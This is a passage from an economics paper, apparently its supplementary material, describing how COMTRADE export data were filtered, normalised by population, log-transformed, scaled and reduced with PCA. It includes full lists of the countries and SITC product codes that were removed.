COMTRADE, the original source of our raw data, is the repository of the official trade transactions between importers and exporters. Products traded are codified in three different commodity classifications, but we express all transactions using the Standard International Trade Classification (SITC) system, Revision 2, because it covers the longest span of time. The cleaned and standardized data that we provide through the link above consists of approximately 8 million rows, each representing what a country exported of a 4-digit coded product in a year. Countries are coded following the International Organization for Standardization (ISO). We have a total of 231 unique country codes, 781 unique product codes, and 53 years ({1962}--2016).
One of the main issues with the raw data is that different countries use different classifications, and even when an importer and an exporter use the same classification, they may use different revisions.\footnote{SITC codes have had four revisions: SITC Rev.~1 in 1961, Rev.~2 in 1975, Rev.~3 in 1988, and Rev.~4 in 2006.} Each transaction in the raw data reports the code as was originally submitted by each party. Hence, to analyze the data one has to standardize the records into a single classification. COMTRADE provides concordance tables that can be used to express a product from one classification to another (\url{http://unstats.un.org/unsd/cr/registry/regdnld.asp}). But since concordance tables are typically ``many-to-many'' mappings rather than ``one-to-one'', the act of re-expressing data from one classification to another introduces additional noise because one must make some arbitrary decisions for how to split the data.
As a consequence, to get the cleaned and standardized data, the raw data has been transformed through a long process of \emph{correction} of reported transactions, \emph{cleaning} of misreported records, and \emph{standardization} of country and product codes. The process is described in detail in \cite{BustosYildirim2018}. The general approach to do this is referred to in the literature as ``mirroring'' \cite{Bhagwati1964underinvoicing,Naya1969accuracy,Yeats1978,Yeats1990,RozanskiandYeats1994,Gehlhar1996,MakhoulandOtterstrom1998,Beja2008,FerrantinoandZhi2008,Barbierietal2009,GaulierandZignago2010,Dong2010,Ferrantinoetal2012}. Mirroring consists of reconciling between what exporters and importers report, since each transaction should in principle be reported twice. But the difference between previous efforts for creating a trade dataset for research (e.g., the National Bureau of Economic Research [NBER] dataset, and the Centre d'\'{E}tudes Prospectives et d'Informations Internationales [CEPII] BACI dataset) and that of Bustos and Yildirim\ \cite{BustosYildirim2018} is that the latter accounts for transaction costs and restrictions implicit in trade reports, and they develop indices of reliability for importers, exporters, and products, which enable them to correctly impute exports of small and developing countries. Thus, the dataset of Bustos and Yildirim\ \cite{BustosYildirim2018} is more complete because it increases the number of countries with available data and additional country-product combinations (see \cite{BustosYildirim2018}), even at very disaggregated levels of the product classification.
\section{Preprocessing the exports data\label{sec:preprocessing}}
Preprocessing the exports data occurs in five steps described below:
\begin{enumerate}
\item Remove some products and countries (Sec.\ \ref{sec:filtering})
\item Normalize by population and by global exports (itself normalized by global population) (Sec.\ \ref{sec:normalize_by_population})
\item Apply a logarithmic transformation that preserves zero values and that preserves the number of values above 1 (Sec.\ \ref{sec:log_transform})
\item Center and scale for each product (Sec.\ \ref{sec:center_scale})
\item Reduce dimensions (Sec.\ \ref{sec:reduce_dimensions})
\end{enumerate}
\subsection{Filtering countries and products\label{sec:filtering}}
First, we filter the data by removing small countries and products that are not exported widely enough. The filters are similar to those in\ \cite{Albeaik2017improving} with some differences. One difference is that we avoid path dependence of the filters: we take the union of the countries and products selected by each filter, and then we remove those countries and products all at once. Another difference is that we chose not to set to zero all export values below a certain small threshold (such as $\text{US}\$5000)$ so that we do not discard information; we let the models handle noisy, small values rather than choose an arbitrary threshold. The last difference is that we remove products that have first digit in their SITC classification equal to either \productCode{3} (\emph{Fuels, lubricants \& related materials}) or \productCode{9} (\emph{Other}), which includes products such as zoo animals, coins, and gold).
The steps below completely specify our filtering of products and countries. Countries are specified by their ISO-3166-1 alpha-3 country codes, while products are specified using the SITC classification, both found in\ \cite{TradeDataCID}.
\begin{enumerate}
\item Initialize $\texttt{CountriesToRemove} = \varnothing$ and $\texttt{ProductsToRemove} = \varnothing$ (the empty set).
\item
\textbf{Remove countries with a small population}:
Select the countries with population less than 1.25 million in 2008. This selection results in the following list of $81$ countries:
\begin{quote}
$\texttt{CountriesToRemove} := \texttt{CountriesToRemove} \, \cup \, \{${ABW, AIA, AND, ANS, ANT, ASM, ATA, ATF, ATG, BHR, BHS, BLZ, BMU, BRB, BRN, BTN, BVT, CCK, COK, COM, CPV, CXR, CYM, CYP, DJI, DMA, ESH, FJI, FLK, FRO, FSM, GIB, GNQ, GRD, GRL, GUM, GUY, IOT, ISL, KIR, KNA, LCA, LUX, MAC, MDV, MHL, MLT, MNE, MNP, MSR, MUS, MYT, NCL, NFK, NIU, NRU, PCN, PLW, PYF, SGS, SHN, SLB, SMR, SPM, STP, SUR, SWZ, SYC, TCA, TKL, TLS, TON, TUV, TWN, UMI, VAT, VCT, VGB, VUT, WLF, WSM}$\}$
\end{quote}
\item
\textbf{Remove countries with little total export value}:
Select the countries with total export value smaller than $1$ billion USD in 2008. This selection results in the following $81$ countries:
\begin{quote}
$\texttt{CountriesToRemove} := \texttt{CountriesToRemove} \, \cup \, \{${AFG, AIA, AND, ARM, ASM, ATA, ATF, ATG, BDI, BEN, BFA, BLZ, BRB, BTN, BVT, CAF, CCK, COK, COM, CPV, CXR, CYM, DJI, DMA, ERI, ESH, FJI, FLK, FRO, FSM, GIB, GMB, GNB, GRD, GRL, GUM, GUY, HTI, IOT, KIR, KNA, LCA, LSO, MDV, MNE, MNP, MSR, MWI, MYT, NER, NFK, NIU, NPL, NRU, PCN, PLW, PSE, PYF, RWA, SGS, SHN, SLB, SLE, SMR, SOM, SPM, STP, SYC, TCA, TGO, TKL, TLS, TON, TUV, UMI, VAT, VCT, VGB, VUT, WLF, WSM}$\}$
\end{quote}
\item \textbf{Remove countries that export very few products}: Select countries with zero export value for at least $95\%$ of products in some year. This selection results in the following list of $52$ countries:
\begin{quote}
$\texttt{CountriesToRemove} := \texttt{CountriesToRemove} \, \cup \, \{${AIA, ATA, ATF, BDI, BTN, BVT, CCK, COK, COM, CPV, CXR, ERI, ESH, FLK, FSM, GNB, GNQ, GUF, HMD, IOT, KIR, LAO, LCA, MDV, MHL, MNG, MNP, MRT, MTQ, NFK, NIU, NPL, NRU, PCI, PCN, PYF, RWA, SGS, SSD, STP, SYC, TCA, TLS, TON, TUV, UMI, VGB, VIR, VUT, WLF, WSM, YEM}$\}$
\end{quote}
\item \textbf{Remove war-torn countries}: Add Afghanistan (AFG), Iraq (IRQ), and Chad (TCD) to the set of countries to remove:
\begin{quote}
$\texttt{CountriesToRemove} := \texttt{CountriesToRemove} \, \cup \, \{${AFG, IRQ, TCD}$\}$
\end{quote}
\item \textbf{Remove all products in the categories of fossil fuels and miscellaneous}: Add to the set of products to remove all the products with first digit (in the SITC classification scheme) equal to \productCode{3} (fossil fuels) or \productCode{9} (miscellaneous products such as art and coins):
\begin{quote}
$\texttt{ProductsToRemove} := \texttt{ProductsToRemove} \, \cup \, \{{\productCode{3}^*, \productCode{9}^*}\}$
\end{quote}
Here, $\productCode{3}^*$ means any product code that begins with $\productCode{3}$.
\item \textbf{Remove products exported by few countries}: Select products not exported by at least $80\%$ of countries in at least one year. This selection results in the following $78$ product codes:
\begin{quote}
$\texttt{ProductsToRemove} := \texttt{ProductsToRemove} \, \cup \, \{${
\productCode{0019}, \productCode{0115}, \productCode{0451}, \productCode{0452}, \productCode{0742}, \productCode{2114}, \productCode{2223}, \productCode{2226}, \productCode{2231}, \productCode{2232}, \productCode{2234}, \productCode{2235}, \productCode{2512}, \productCode{2516}, \productCode{2518}, \productCode{2613}, \productCode{2634}, \productCode{2652}, \productCode{2654}, \productCode{2655}, \productCode{2659}, \productCode{2685}, \productCode{2712}, \productCode{2714}, \productCode{2741}, \productCode{2742}, \productCode{2784}, \productCode{2814}, \productCode{2816}, \productCode{2860}, \productCode{2872}, \productCode{2876}, \productCode{3223}, \productCode{3224}, \productCode{3231}, \productCode{3341}, \productCode{3342}, \productCode{3343}, \productCode{3344}, \productCode{3415}, \productCode{3510}, \productCode{4233}, \productCode{4236}, \productCode{4241}, \productCode{4244}, \productCode{4245}, \productCode{5163}, \productCode{5223}, \productCode{5249}, \productCode{5323}, \productCode{5828}, \productCode{6112}, \productCode{6113}, \productCode{6121}, \productCode{6344}, \productCode{6546}, \productCode{6642}, \productCode{6674}, \productCode{6727}, \productCode{6741}, \productCode{6750}, \productCode{6784}, \productCode{6793}, \productCode{6831}, \productCode{6880}, \productCode{7187}, \productCode{7433}, \productCode{7521}, \productCode{7524}, \productCode{7911}, \productCode{7912}, \productCode{7913}, \productCode{7914}, \productCode{7924}, \productCode{7931}, \productCode{8821}, \productCode{8941}, \productCode{9110}
}$\}$
\end{quote}
\item \textbf{Remove products with little global exports}: Select products with global exports $< 10$ million in some year. This selection results in the following $37$ products:
\begin{quote}
$\texttt{ProductsToRemove} := \texttt{ProductsToRemove} \, \cup \, \{${
\productCode{0019}, \productCode{0742}, \productCode{1122}, \productCode{2114}, \productCode{2232}, \productCode{2235}, \productCode{2239}, \productCode{2634}, \productCode{2652}, \productCode{2711}, \productCode{2714}, \productCode{3224}, \productCode{3415}, \productCode{4311}, \productCode{5223}, \productCode{5323}, \productCode{5828}, \productCode{6112}, \productCode{6113}, \productCode{6121}, \productCode{6122}, \productCode{6349}, \productCode{6546}, \productCode{6642}, \productCode{6646}, \productCode{6674}, \productCode{6741}, \productCode{6750}, \productCode{6880}, \productCode{6912}, \productCode{7187}, \productCode{7213}, \productCode{7433}, \productCode{7521}, \productCode{7524}, \productCode{8941}, \productCode{9110}
}$\}$
\end{quote}
\item \textbf{Remove products with little market share}:
Select products whose market share is below the fifth percentile in year 2008. This selection results in the following $39$ products:
\begin{quote}
$\texttt{ProductsToRemove} := \texttt{ProductsToRemove} \, \cup \, \{${
\productCode{0129}, \productCode{0742}, \productCode{2114}, \productCode{2231}, \productCode{2232}, \productCode{2235}, \productCode{2440}, \productCode{2614}, \productCode{2632}, \productCode{2640}, \productCode{2652}, \productCode{2654}, \productCode{2655}, \productCode{2659}, \productCode{2685}, \productCode{2686}, \productCode{2687}, \productCode{2712}, \productCode{2714}, \productCode{2742}, \productCode{2923}, \productCode{3231}, \productCode{3415}, \productCode{4233}, \productCode{4314}, \productCode{6112}, \productCode{6121}, \productCode{6518}, \productCode{6545}, \productCode{6576}, \productCode{6593}, \productCode{6642}, \productCode{6880}, \productCode{6932}, \productCode{7163}, \productCode{7511}, \productCode{7521}, \productCode{7612}, \productCode{7631}
}$\}$
\end{quote}
\end{enumerate}
In the end, these filters remove 121 products (listed in Tables\ \ref{tab:removed_products_1}, \ref{tab:removed_products_2}, and \ref{tab:removed_products_3}) and the following 112 countries:
\begin{quote}
Afghanistan (AFG); American Samoa (ASM); Andorra (AND); Anguilla (AIA); Antarctica (ATA); Antigua and Barbuda (ATG); Armenia (ARM); Aruba (ABW); Bahamas (BHS); Bahrain (BHR); Barbados (BRB); Belize (BLZ); Benin (BEN); Bermuda (BMU); Bhutan (BTN); Bouvet Island (BVT); British Indian Ocean Territory (IOT); British Virgin Islands (VGB); Brunei (BRN); Burkina Faso (BFA); Burundi (BDI); Cape Verde (CPV); Cayman Islands (CYM); Central African Republic (CAF); Chad (TCD); Christmas Island (CXR); Cocos (Keeling) Islands (CCK); Comoros (COM); Cook Islands (COK); Cyprus (CYP); Djibouti (DJI); Dominica (DMA); Equatorial Guinea (GNQ); Eritrea (ERI); Falkland Islands (FLK); Faroe Islands (FRO); Fiji (FJI); French Guiana (GUF); French Polynesia (PYF); French South Antarctic Territory (ATF); Gambia (GMB); Gibraltar (GIB); Greenland (GRL); Grenada (GRD); Guam (GUM); Guinea-Bissau (GNB); Guyana (GUY); Haiti (HTI); Heard Island and McDonald Islands (HMD); Holy See (Vatican City) (VAT); Iceland (ISL); Iraq (IRQ); Kiribati (KIR); Laos (LAO); Lesotho (LSO); Luxembourg (LUX); Macau (MAC); Malawi (MWI); Maldives (MDV); Malta (MLT); Marshall Islands (MHL); Martinique (MTQ); Mauritania (MRT); Mauritius (MUS); Mayotte (MYT); Micronesia (FSM); Mongolia (MNG); Montenegro (MNE); Montserrat (MSR); Nauru (NRU); Nepal (NPL); Netherlands Antilles (ANT); New Caledonia (NCL); Niger (NER); Niue (NIU); Norfolk Island (NFK); Northern Mariana Islands (MNP); Pacific Island (US) (PCI); Palau (PLW); Palestine (PSE); Pitcairn Islands (PCN); Rwanda (RWA); Saint Helena (SHN); Saint Kitts and Nevis (KNA); Saint Lucia (LCA); Saint Pierre and Miquelon (SPM); Saint Vincent and the Grenadines (VCT); Samoa (WSM); San Marino (SMR); Sao Tome and Principe (STP); Seychelles (SYC); Sierra Leone (SLE); Solomon Islands (SLB); Somalia (SOM); South Georgia South Sandwich Islands (SGS); South Sudan (SSD); Suriname (SUR); Swaziland (SWZ); Taiwan (TWN); Timor-Leste (TLS); Togo (TGO); Tokelau (TKL); Tonga (TON); Turks and Caicos Islands (TCA); Tuvalu (TUV); United States Minor Outlying Islands (UMI); Vanuatu (VUT); Virgin Islands (VIR); Wallis and Futuna (WLF); Western Sahara (ESH); Yemen (YEM).
\end{quote}
\begin{table}[htp]
\caption{121 removed products (part 1)}
\begin{center}
\begin{tabular}{c|c}
\productCode{0019} & Live animals of a kind mainly used for human food, nes \\
\productCode{0115} & Meat of horses, asses, mules and hinnies, fresh, chilled or frozen \\
\productCode{0129} & Meat and edible meat offal, nes, in brine, dried, salted or smoked \\
\productCode{0451} & Rye, unmilled \\
\productCode{0452} & Oats, unmilled \\
\productCode{0742} & Mate \\
\productCode{1122} & Other fermented beverages, nes (cider, perry, mead, etc) \\
\productCode{2114} & Goat and kid skins, raw, whether or not split \\
\productCode{2223} & Cotton seeds \\
\productCode{2226} & Rape and colza seeds \\
\productCode{2231} & Copra \\
\productCode{2232} & Palm nuts and kernels \\
\productCode{2234} & Linseed \\
\productCode{2235} & Castor oil seeds \\
\productCode{2239} & Flour or meals of oil seeds or oleaginous fruit, non-defatted \\
\productCode{2440} & Cork, natural, raw and waste \\
\productCode{2512} & Mechanical wood pulp \\
\productCode{2516} & Chemical wood pulp, dissolving grades \\
\productCode{2518} & Chemical wood pulp, sulphite \\
\productCode{2613} & Raw silk (not thrown) \\
\productCode{2614} & Silk worm cocoons and silk waste \\
\productCode{2632} & Cotton linters \\
\productCode{2634} & Cotton, carded or combed \\
\productCode{2640} & Jute, other textile bast fibres, nes, raw, processed but not spun \\
\productCode{2652} & True hemp, raw or processed but not spun, its tow and waste \\
\productCode{2654} & Sisal, agave fibres, raw or processed but not spun, and waste \\
\productCode{2655} & Manila hemp, raw or processed but not spun, its tow and waste \\
\productCode{2659} & Vegetable textile fibres, nes, and waste \\
\productCode{2685} & Horsehair and other coarse animal hair, not carded or combed \\
\productCode{2686} & Waste of sheep's or lambs' wool, or of other animal hair, nes \\
\productCode{2687} & Sheep's or lambs' wool, or of other animal hair, carded or combed \\
\productCode{2711} & Animal or vegetable fertilizer, crude \\
\productCode{2712} & Natural sodium nitrate \\
\productCode{2714} & Potassium salts, natural, crude \\
\productCode{2741} & Sulphur (other than sublimed, precipitated or colloidal) \\
\productCode{2742} & Iron pyrites, unroasted \\
\productCode{2784} & Asbestos \\
\productCode{2814} & Roasted iron pyrites \\
\productCode{2816} & Iron ore agglomerates \\
\productCode{2860} & Ores and concentrates of uranium and thorium \\
\productCode{2872} & Nickel ores and concentrates; nickel mattes, etc \\
\end{tabular}
\end{center}
\label{tab:removed_products_1}
\end{table}%
\begin{table}[htp]
\caption{121 removed products (part 2)}
\begin{center}
\begin{tabular}{c|c}
\productCode{2876} & Tin ores and concentrates \\
\productCode{2923} & Vegetable plaiting materials \\
\productCode{3221} & Anthracite, not agglomerated \\
\productCode{3222} & Other coal, not agglomerated \\
\productCode{3223} & Lignite, not agglomerated \\
\productCode{3224} & Peat, not agglomerated \\
\productCode{3231} & Briquettes, ovoids, from coal, lignite or peat \\
\productCode{3232} & Coke and semi-coke of coal, of lignite or peat; retort carbon \\
\productCode{3330} & Crude petroleum and oils obtained from bituminous materials \\
\productCode{3341} & Gasoline and other light oils \\
\productCode{3342} & Kerosene and other medium oils \\
\productCode{3343} & Gas oils \\
\productCode{3344} & Fuel oils, nes \\
\productCode{3345} & Lubricating petroleum oils, and preparations, nes \\
\productCode{3351} & Petroleum jelly and mineral waxes \\
\productCode{3352} & Mineral tars and products \\
\productCode{3353} & Mineral tar pitch, pitch coke \\
\productCode{3354} & Petroleum bitumen, petroleum coke and bituminous mixtures, nes \\
\productCode{3413} & Petroleum gases and other gaseous hydrocarbons, nes, liquefied \\
\productCode{3414} & Petroleum gases, nes, in gaseous state \\
\productCode{3415} & Coal gas, water gas and similar gases \\
\productCode{3510} & Electric current \\
\productCode{4233} & Cotton seed oil \\
\productCode{4236} & Sunflower seed oil \\
\productCode{4241} & Linseed oil \\
\productCode{4244} & Palm kernel oil \\
\productCode{4245} & Castor oil \\
\productCode{4311} & Processed animal and vegetable oils \\
\productCode{4314} & Waxes of animal or vegetable origin \\
\productCode{5163} & Inorganic esters, their salts and derivatives \\
\productCode{5223} & Halogen and sulphur compounds of non-metals \\
\productCode{5249} & Other radio-active and associated materials \\
\productCode{5323} & Synthetic tanning substances; tanning preparations \\
\productCode{5828} & Ion exchangers of the condensation, polycondensation etc \\
\productCode{6112} & Composition leather, in slabs, sheets or rolls \\
\productCode{6113} & Calf leather \\
\productCode{6121} & Articles of leather use in machinery or mechanical appliances, etc \\
\productCode{6122} & Saddlery and harness, of any material, for any kind of animal \\
\productCode{6344} & Wood-based panels, nes \\
\productCode{6349} & Wood, simply shaped, nes \\
\end{tabular}
\end{center}
\label{tab:removed_products_2}
\end{table}%
\begin{table}[htp]
\caption{121 removed products (part 3)}
\begin{center}
\begin{tabular}{c|c}
\productCode{6518} & Yarn of regenerated fibres, put up for retail sale \\
\productCode{6545} & Fabrics, woven of jute or other textile bast fibres of heading 2640 \\
\productCode{6546} & Fabrics of glass fibre (including narrow, pile fabrics, lace, etc) \\
\productCode{6576} & Hat shapes, hat-forms, hat bodies and hoods \\
\productCode{6593} & Kelem, Schumacks and Karamanie rugs and the like \\
\productCode{6642} & Optical glass and elements of optical glass (unworked) \\
\productCode{6646} & Bricks, tiles, etc of pressed or moulded glass, used in building \\
\productCode{6674} & Synthetic or reconstructed precious or semi-precious stones \\
\productCode{6727} & Iron or steel coils for re-rolling \\
\productCode{6741} & Universal plates of iron or steel \\
\productCode{6750} & Hoop and strip of iron or steel, hot-rolled or cold-rolled \\
\productCode{6784} & High-pressure hydro-electric conduit of steel \\
\productCode{6793} & Steel and iron forging and stampings, in the rough state \\
\productCode{6831} & Nickel and nickel alloys, unwrought \\
\productCode{6880} & Uranium depleted in U235, thorium, and alloys, nes; waste and scrap \\
\productCode{6912} & Structures and parts of, of aluminium; plates, rods, and the like \\
\productCode{6932} & Barbed iron or steel wire: fencing wire \\
\productCode{7163} & Rotary converters \\
\productCode{7187} & Nuclear reactors, and parts thereof, nes \\
\productCode{7213} & Dairy machinery, nes (including milking machines), and parts nes \\
\productCode{7433} & Free-piston generators for gas turbines and parts thereof, nes \\
\productCode{7511} & Typewriters; cheque-writing machines \\
\productCode{7521} & Analogue and hybrid data processing machines \\
\productCode{7524} & Digital central storage units, separately consigned \\
\productCode{7612} & Television receivers, monochrome \\
\productCode{7631} & Gramophones and record players, electric \\
\productCode{7911} & Rail locomotives, electric \\
\productCode{7912} & Other rail locomotives; tenders \\
\productCode{7913} & Mechanically propelled railway, tramway, trolleys, etc \\
\productCode{7914} & Railway, tramway passenger coaches, etc, not mechanically propelled \\
\productCode{7924} & Aircraft of an unladen weight exceeding 15000 kg \\
\productCode{7931} & Warships \\
\productCode{8821} & Chemical products and flashlight materials for use in photografy \\
\productCode{8941} & Baby carriages and parts thereof, nes \\
\productCode{9110} & Postal packages not classified according to kind \\
\productCode{9310} & Special transactions, commodity not classified according to class \\
\productCode{9410} & Animals, live, nes, (including zoo animals, pets, insects, etc) \\
\productCode{9510} & Armoured fighting vehicles, war firearms, ammunition, parts, nes \\
\productCode{9610} & Coin (other than gold coin), not being legal tender \\
\productCode{9710} & Gold, non-monetary (excluding gold ores and concentrates)
\end{tabular}
\end{center}
\label{tab:removed_products_3}
\end{table}%
\paragraph{Final dataset}
After removing countries and products, we have a dataset of $138$ countries, $665$ products at the 4-digit level, and $6377$ distinct (country, year) pairs. Summing export values at the $2$-digit level results in $59$ products. Merging this exports data with population data from the World Bank\ \cite{GDPpcWorldBank} and from\ \cite{TradeDataCID} drops 240 (country, year) samples, resulting in $6137$ distinct (country, year) pairs.
This dataset has on average $92\%$ of the global population (minimum $86\%$, maximum $96\%$) and $77\%$ of global trade (minimum $67\%$, maximum $85\%$).
Time-series of those values are plotted in Figure\ \ref{fig:frac_global_population_trade}.
\begin{figure}[htbp]
\begin{center}
\includegraphics{frac_global_population_trade}
\caption{Fraction of global population and global trade in the dataset after the filters described in Sec.\ \ref{sec:filtering} are applied.}
\label{fig:frac_global_population_trade}
\end{center}
\end{figure}
\subsection{Normalize export values by population and by global exports\label{sec:normalize_by_population}}
To make small and large countries comparable, we divide the value
of a
country $c$'s
exports of a product
$p$ in year $t$, denoted $\exports{c}{p}{t}$,
by a null model of a country's expected value of its exports of that product given that country's population, $\E \left [ \exports{c}{p}{t} \mid \population{c}{t} \right ]$.
To remove the effects of global price shocks, we divide this quantity by the total value of the world's exports of that product, which we also normalize by a null model that predicts global export value using global population.
Formally, for each country $c$ in a set of $123$ countries $\mathcal{C}$ and for each product $p$ in the set of $59$ products $\mathcal{P}$, we define the \emph{absolute advantage} of country $c$ in product $p$ as
\begin{align}
\RpopSymbol{c}{p}{t} :=
\frac
{
\exports{c}{p}{t} / \E \left [ \exports{c}{p}{t} \vert \population{c}{t} \right ]
}
{
\sum_c \exports{c}{p}{t} / \E \left [\sum_c \exports{c}{p}{t} \big \vert \sum_c \population{c}{t} \right ]
}
\label{eq:define_Rpop}
\end{align}
\subsubsection{Null models of export values based on population size}\label{sec:null_model}
Countries with more people tend to export more, but typically not in proportion to their population size.
To allow for product-specific variation in the relationship between exports and population, we assume that the expectations in\ \eqref{eq:define_Rpop} follow power laws of population size.
A country with population double that of another country typically exports more, but rarely does it export twice as much. For intuition, consider a disk-shaped country with its population distributed evenly across space and with exports occurring at the border in proportion to the size of the perimeter. That country's exports increase with the square root of the population size. (This example is more extreme than reality: the exponent is $\approx 0.88$ rather than $0.5$.) Motivated by this intuition, we create a null model of exports by assuming that export value of a certain product, either by a certain country or by the whole world, grows with population size raised to some power, and that this exponent varies from one product to another. Specifically, we assume that
\begin{align}
\nullExportsSymbol{c}{p}{t} &= \nullExports{p},
\label{eq:power_law_numerator} \\
\nullGlobalExportsSymbol{p}{t} &= \nullGlobalExports{p}
\label{eq:power_law_denominator}
\end{align}
With\ \eqref{eq:power_law_numerator} and\ \eqref{eq:power_law_denominator}, our measure of a country $c$'s \emph{absolute advantage}
in producing the product $p$ in year $t$ is
\begin{align}
\RpopSymbol{c}{p}{t}
&= \RpopFraction{c}{p}{t}.
\label{eq:Rpop_written_out}
\end{align}
This quantity $\RpopSymbol{c}{p}{t}$ captures how proficient a country $c$ is in exporting product $p$ in year $t$, relative to an average country of its population size.
\begin{figure}[htbp]
\begin{center}
\includegraphics{exponents_from_normalizing_Rpop_by_population}
\caption{Distribution of exponents $\countrySpecificExponent{p}$ and $\globalExponent{p}$ in the null models\ \eqref{eq:power_law_numerator} and\ \eqref{eq:power_law_denominator}, respectively. For illustrative purposes, we draw in black a kernel density estimate with a Gaussian kernel.}
\label{fig:exponents_from_normalizing_Rpop_by_population}
\end{center}
\end{figure}
The distributions of the exponents $\countrySpecificExponent{p}$ and $\globalExponent{p}$ are plotted in Figure\ \ref{fig:exponents_from_normalizing_Rpop_by_population}.
The exponents $\countrySpecificExponent{p}$ have average value of $0.88$; the minimum is $0.49$ for the product \emph{Dairy products and birds' eggs} (product code \productCode{02}), and the maximum is $1.21$ for the product \emph{Crude rubber (including synthetic and reclaimed)} (product code \productCode{23}).
Thus, the export value of certain product tends to grow sublinearly with the population size, in accordance with the hypothetical disk-shaped country described above.
Meanwhile, the exponents $\globalExponent{p}$ are much larger: the average (across all $59$ products) is $5.37$. The minimum is $2.50$ for the product \emph{Textile fibers (not wool tops) and their wastes (not in yarn)} (product code \productCode{26}), and the maximum is $8.18$ for the product \emph{Office machines and automatic data processing equipment)} (product code \productCode{75}).
Thus, global exports of a product tend to grow superlinearly with global population.
\subsection{Logarithmically transforming data with lots of zeros in it\label{sec:log_transform}}
In this paper, we consider yearly export values $\exports{c}{p}{t}$ of $59$ two-digit products. These export values range from zero to nearly a trillion US dollars per year.
China, for example, has recently exported over $\$300$ billion in \emph{Electric machinery, apparatus and appliances, nes, and parts, nes} (product code \productCode{77}) in one year.
After normalizing by population and by global exports with\ \eqref{eq:define_Rpop}, the values are still rather heavy-tailed and range from $0$ to $7.3 \times 10^4$ US dollars per year; see the left and middle panels of Figure\ \ref{fig:histograms_log_transformations}.
\begin{figure}[htbp]
\begin{center}
\includegraphics{histograms_log_transformations}
\caption{Histograms of the flattened data\ \eqref{eq:Rpop_written_out} before it is logarithmically transformed (left panel), after it is logarithmically transformed with $\log(1 + \cdot)$ (middle plot), and after it is logarithmically transformed with $\widetilde \log(\cdot)$ (right plot).}
\label{fig:histograms_log_transformations}
\end{center}
\end{figure}
One way to logarithmically transform heavy-tailed data with zeros in it is to add one before applying the natural logarithm, so that zero maps to zero. However, we found that this transformation resulted in data that was approximately exponentially distributed rather than normally distributed, and we found that adding one introduces a scale in the data. To avoid these outcomes, we applied a different logarithmic transformation that is plotted in Fig.\ \ref{fig:plot_of_log_transformation_function}
\begin{align}
\widetilde \log(x) \equiv
\begin{cases}
1 + s \log(x) & \text{if } x > 0 \\
0 & \text{if } x = 0.
\end{cases} \label{eq:log_transformation}
\end{align}
where the scaling factor
\begin{align}
s \equiv \lim_{z \to x_m} \frac { z - 1 } {\log(z) } =
\begin{cases}
1
& \text{if } x_m = 1 \\
\left ( x_m - 1 \right ) / \log x_m
& \text{if } x_m \neq 1
\end{cases}, \label{eq:scaling_factor_in_log}
\end{align}
and $x_m$ is the smallest positive value of all elements of the matrix $X$:
\begin{align}
x_m \equiv \min \left \{x : x \in X, x > 0 \right \}.
\end{align}
\begin{figure}[htbp]
\begin{center}
\includegraphics{plot_of_log_transformation_function.pdf}
\caption{The logarithmic transformation\ \eqref{eq:log_transformation} used. It leaves unchanged zeros and whether values are above one.}
\label{fig:plot_of_log_transformation_function}
\end{center}
\end{figure}
The limit in\ \eqref{eq:scaling_factor_in_log} ensures that $s$ exists for all $x_m > 0$; in particular, $s = 1$ when $x_m = 1$.
Note that
\begin{align}
\widetilde \log(x_m) &= x_m, \label{eq:equal_at_Xminpos} \\
\widetilde \log(1) &= 1, \label{eq:equal_at_one} \\
\widetilde \log(x) &\text{ is increasing}. \label{eq:logtilde_increasing}
\end{align}
Equations\ \eqref{eq:equal_at_Xminpos} and\ \eqref{eq:equal_at_one} are direct computations. Equation\ \eqref{eq:logtilde_increasing} holds because $\left ( z - 1 \right ) / \log(z)$ is positive for $z > 0$.
A consequence of\ \eqref{eq:equal_at_one} and of\ \eqref{eq:logtilde_increasing} is that
\begin{align}
\widetilde \log (x) > 1 \text{ if and only if } x > 1. \label{eq:preserve_above_1}
\end{align}
Statement\ \eqref{eq:preserve_above_1} is an important property for a logarithmic transformation of data like that studied here:
because the data is normalized by dividing by the prediction of a null model, being above one (or not) is meaningful, so we wish our logarithmic transformation to preserve which values are above one and which values are below one.
\subsection{Centering and scaling\label{sec:center_scale}}
Next we pivot the data so that the rows are
observations of a certain country in a certain year,
and the columns are the values of $\RpopSymbol{c}{p}{t}$ for each of the $59$ many products $p$.
We center and scale the columns using the pre-$1989$ column means and standard deviations:
\begin{align}
\RpopSymbolCenteredScaled{c}{p}{t} :=
\frac
{
\RpopSymbol{c}{p}{t}
-
\mu
\left(
\{\RpopSymbol{c}{p}{t} : {1962} \leq t \leq {1988}, c \in \mathcal{C} \}
\right )
}
{
\sigma
\left(
\{\RpopSymbol{c}{p}{t} : {1962} \leq t \leq {1988}, c \in \mathcal{C} \}
\right )
}
\label{eq:center_scale}
\end{align}
where $\mu$ denotes mean and $\sigma$ denotes standard deviation.
The column means and standard deviations, like all other preprocessing steps such as dimension reduction described next, are fit to data from year ${1988}$ or earlier. That way, we can split the data into cross validation sets that are nested in time, and all preprocessing is done with the earliest set of data (years ${1962}$ to ${1988}$, inclusive).
\subsection{Reduce dimensions\label{sec:reduce_dimensions}}
Next we reduce dimensions using principal components analysis (PCA)\ \cite{Lever2017}. Because the data was centered (see Section\ \ref{sec:center_scale}), PCA is equivalent to doing a truncated singular value decomposition. More insights from PCA applied to this exports data are given next in Sec.\ \ref{sec:more_on_PCA}.
\section{Further analysis of the principal components\label{sec:more_on_PCA}}
\subsection{Correlation between the loading on the first principal component and the Product Complexity Index\label{sec:pc0_pci}}
Recall from Fig.\ \ref{fig:pca_loadings} that the first principal component loads positively on all products. But the loadings are not equal: the first principal component loads more on complex products like power generating machinery (product code \texttt{71}) that are produced by few countries, compared to simpler products like vegetables and fruit (product code \texttt{06}) that are produced by many countries. In fact, as shown in Fig.\ \ref{fig:pci_vs_loading_on_pc0}, these loadings are highly correlated with the Product Complexity Index\ \cite{Hidalgo2009}, a notion of complexity (or knowledge intensity) of products based on the complexity (or knowledge intensity) of the countries that produce them. The second principal component is also correlated with the Product Complexity Index, but less so (Pearson correlation $\rho = 0.70$ versus $\rho = 0.81$).
\begin{figure}[htb]
\begin{center}
\includegraphics{pci_vs_loading_on_pc0}
\caption{
The loadings on the first principal component, and to a lesser degree the loadings on the second principal component, are highly correlated with the Product Complexity Index\ \cite{Hidalgo2009}. In these scatterplots, products are labeled by their 2-digit SITC product codes (available for download \href{https://intl-atlas-downloads.s3.amazonaws.com/index.html}{here}), with colors denoting the first digit. To guide the eye, a locally weighted scatterplot smoothing (LOWESS) is shown in gray; this LOWESS was made using the package \texttt{seaborn} (DOI: \href{10.5281/zenodo.883859}{https://doi.org/10.5281/zenodo.883859}).
}
